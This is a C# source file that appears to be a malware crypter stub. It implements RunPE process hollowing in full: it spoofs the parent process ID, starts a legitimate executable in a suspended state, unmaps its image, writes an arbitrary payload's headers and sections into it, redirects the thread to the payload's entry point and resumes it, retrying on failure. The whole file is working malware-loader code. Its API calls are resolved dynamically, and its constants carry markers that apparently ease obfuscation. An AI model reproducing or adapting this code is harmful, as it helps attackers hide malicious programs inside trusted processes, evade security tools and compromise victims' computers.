using System; using System.Diagnostics; using System.Runtime.InteropServices; public partial class __Stub { /// /// void RunPE(string path, string commandLine, byte[] payload) /// public static void __RunPE(string __path, string __commandLine, byte[] __payload) { // Get WinAPI functions __OpenProcessDelegate openProcess = __GetFunction<__OpenProcessDelegate>(/**/"kernel32.dll", /**/"OpenProcess"); __CreateProcessDelegate createProcess = __GetFunction<__CreateProcessDelegate>(/**/"kernel32.dll", /**/"CreateProcessW"); __GetLastErrorDelegate getLastError = __GetFunction<__GetLastErrorDelegate>(/**/"kernel32.dll", /**/"GetLastError"); __NtQueryInformationProcessDelegate ntQueryInformationProcess = __GetFunction<__NtQueryInformationProcessDelegate>(/**/"ntdll.dll", /**/"NtQueryInformationProcess"); __NtAllocateVirtualMemoryDelegate ntAllocateVirtualMemory = __GetFunction<__NtAllocateVirtualMemoryDelegate>(/**/"ntdll.dll", /**/"NtAllocateVirtualMemory"); __NtWriteVirtualMemoryDelegate ntWriteVirtualMemory = __GetFunction<__NtWriteVirtualMemoryDelegate>(/**/"ntdll.dll", /**/"NtWriteVirtualMemory"); __NtUnmapViewOfSectionDelegate ntUnmapViewOfSection = __GetFunction<__NtUnmapViewOfSectionDelegate>(/**/"ntdll.dll", /**/"NtUnmapViewOfSection"); __NtSetContextThreadDelegate ntSetContextThread = __GetFunction<__NtSetContextThreadDelegate>(/**/"ntdll.dll", /**/"NtSetContextThread"); __NtGetContextThreadDelegate ntGetContextThread = __GetFunction<__NtGetContextThreadDelegate>(/**/"ntdll.dll", /**/"NtGetContextThread"); __NtResumeThreadDelegate ntResumeThread = __GetFunction<__NtResumeThreadDelegate>(/**/"ntdll.dll", /**/"NtResumeThread"); __InitializeProcThreadAttributeListDelegate initializeProcThreadAttributeList = __GetFunction<__InitializeProcThreadAttributeListDelegate>(/**/"kernel32.dll", /**/"InitializeProcThreadAttributeList"); __UpdateProcThreadAttributeDelegate updateProcThreadAttribute = __GetFunction<__UpdateProcThreadAttributeDelegate>(/**/"kernel32.dll", /**/"UpdateProcThreadAttribute"); // Retry up to 5 times for (int i = /**/0; i < /**/5; i++) { int processId = /**/0; try { // Parse executable int ntHeader = BitConverter.ToInt32(__payload, /**/0x3c); int sizeOfImage = BitConverter.ToInt32(__payload, ntHeader + /**/0x18 + /**/0x38); int sizeOfHeaders = BitConverter.ToInt32(__payload, ntHeader + /**/0x18 + /**/0x3c); int entryPoint = BitConverter.ToInt32(__payload, ntHeader + /**/0x18 + /**/0x10); short numberOfSections = BitConverter.ToInt16(__payload, ntHeader + /**/0x6); short sizeOfOptionalHeader = BitConverter.ToInt16(__payload, ntHeader + /**/0x14); IntPtr imageBase = IntPtr.Size == /**/4 ? (IntPtr)BitConverter.ToInt32(__payload, ntHeader + /**/0x18 + /**/0x1c) : (IntPtr)BitConverter.ToInt64(__payload, ntHeader + /**/0x18 + /**/0x18); // Get parent process ID IntPtr processBasicInformation = Marshal.AllocHGlobal(IntPtr.Size * /**/6); if (ntQueryInformationProcess((IntPtr)(/**/-1), /**/0, processBasicInformation, (uint)(IntPtr.Size * /**/6), (IntPtr)/**/0) != /**/0) throw new Exception(); int parentProcessId = Marshal.ReadInt32(processBasicInformation, IntPtr.Size * /**/5); // Get parent process handle IntPtr parentProcessHandle = openProcess(/**/0x80, false, parentProcessId); if (parentProcessHandle == (IntPtr)/**/0) throw new Exception(); IntPtr parentProcessHandlePtr = __Allocate(IntPtr.Size); Marshal.WriteIntPtr(parentProcessHandlePtr, parentProcessHandle); // Get size of PROC_THREAD_ATTRIBUTE_LIST IntPtr attributeListSize = (IntPtr)/**/0; if (initializeProcThreadAttributeList((IntPtr)/**/0, /**/1, /**/0, ref attributeListSize) || attributeListSize == (IntPtr)/**/0) throw new Exception(); // Initialize attribute list IntPtr attributeList = __Allocate((int)attributeListSize); if (!initializeProcThreadAttributeList(attributeList, /**/1, /**/0, ref attributeListSize) || attributeList == (IntPtr)/**/0 || !updateProcThreadAttribute(attributeList, (uint)/**/0, (IntPtr)/**/0x20000, parentProcessHandlePtr, (IntPtr)IntPtr.Size, (IntPtr)/**/0, (IntPtr)/**/0)) throw new Exception(); // Use STARTUPINFOEX to implement parent process spoofing int startupInfoLength = IntPtr.Size == /**/4 ? /**/0x48 : /**/0x70; IntPtr startupInfo = __Allocate(startupInfoLength); Marshal.Copy(new byte[startupInfoLength], /**/0, startupInfo, startupInfoLength); Marshal.WriteInt32(startupInfo, startupInfoLength); Marshal.WriteIntPtr(startupInfo, startupInfoLength - IntPtr.Size, attributeList); // Create process byte[] processInfo = new byte[IntPtr.Size == /**/4 ? /**/0x10 : /**/0x18]; if (!createProcess(__path, __commandLine, (IntPtr)/**/0, (IntPtr)/**/0, true, (uint)/**/0x80004, (IntPtr)/**/0, null, startupInfo, processInfo)) { // If GetLastError == ERROR_ELEVATION_REQUIRED, repeat without parent process ID spoofing if (getLastError() == /**/0x2e4) { if (!createProcess(__path, __commandLine, (IntPtr)/**/0, (IntPtr)/**/0, true, (uint)/**/0x4, (IntPtr)/**/0, null, startupInfo, processInfo)) { throw new Exception(); } } else { throw new Exception(); } } processId = BitConverter.ToInt32(processInfo, IntPtr.Size * /**/2); IntPtr process = IntPtr.Size == /**/4 ? (IntPtr)BitConverter.ToInt32(processInfo, /**/0) : (IntPtr)BitConverter.ToInt64(processInfo, /**/0); // Unmap process memory ntUnmapViewOfSection(process, imageBase); // Write section headers IntPtr sizeOfImagePtr = (IntPtr)sizeOfImage; if (ntAllocateVirtualMemory(process, ref imageBase, (IntPtr)/**/0, ref sizeOfImagePtr, (uint)/**/0x3000, (uint)/**/0x40) < /**/0 || ntWriteVirtualMemory(process, imageBase, __payload, sizeOfHeaders, (IntPtr)/**/0) < /**/0) throw new Exception(); // Write sections for (short j = (short)/**/0; j < numberOfSections; j++) { byte[] section = new byte[/**/0x28]; Buffer.BlockCopy(__payload, ntHeader + /**/0x18 + sizeOfOptionalHeader + j * /**/0x28, section, /**/0, /**/0x28); int virtualAddress = BitConverter.ToInt32(section, /**/0xc); int sizeOfRawData = BitConverter.ToInt32(section, /**/0x10); int pointerToRawData = BitConverter.ToInt32(section, /**/0x14); byte[] rawData = new byte[sizeOfRawData]; Buffer.BlockCopy(__payload, pointerToRawData, rawData, /**/0, rawData.Length); // Write RawData to target process if (ntWriteVirtualMemory(process, imageBase + virtualAddress, rawData, rawData.Length, (IntPtr)/**/0) < /**/0) throw new Exception(); } // Get thread context IntPtr thread = IntPtr.Size == /**/4 ? (IntPtr)BitConverter.ToInt32(processInfo, /**/4) : (IntPtr)BitConverter.ToInt64(processInfo, /**/8); IntPtr context = __Allocate(IntPtr.Size == /**/4 ? /**/0x2cc : /**/0x4d0); Marshal.WriteInt32(context, IntPtr.Size == /**/4 ? /**/0 : /**/0x30, /**/0x10001b); if (ntGetContextThread(thread, context) < /**/0) throw new Exception(); // Write base address and entry point if (IntPtr.Size == /**/4) { IntPtr ebx = (IntPtr)Marshal.ReadInt32(context, /**/0xa4); if (ntWriteVirtualMemory(process, (IntPtr)((int)ebx + /**/8), BitConverter.GetBytes((int)imageBase), /**/4, (IntPtr)/**/0) < /**/0) throw new Exception(); Marshal.WriteInt32(context, /**/0xb0, (int)imageBase + entryPoint); } else { IntPtr rdx = (IntPtr)Marshal.ReadInt64(context, /**/0x88); if (ntWriteVirtualMemory(process, rdx + /**/16, BitConverter.GetBytes((long)imageBase), /**/8, (IntPtr)/**/0) < /**/0) throw new Exception(); Marshal.WriteInt64(context, /**/0x80, (long)imageBase + entryPoint); } // Set thread context if (ntSetContextThread(thread, context) < /**/0) throw new Exception(); // Resume thread uint suspendCount; if (ntResumeThread(thread, out suspendCount) == /**/-1) throw new Exception(); } catch { try { // If the current attempt failed, terminate the created process to not have suspended leftover processes. Process.GetProcessById(processId).Kill(); } catch { } continue; } break; } } /// /// IntPtr Allocate(int size) /// private static IntPtr __Allocate(int __size) { int alignment = IntPtr.Size == /**/4 ? /**/1 : /**/16; return (IntPtr)((long)(Marshal.AllocHGlobal(__size + alignment / /**/2) + alignment - /**/1) / alignment * alignment); } }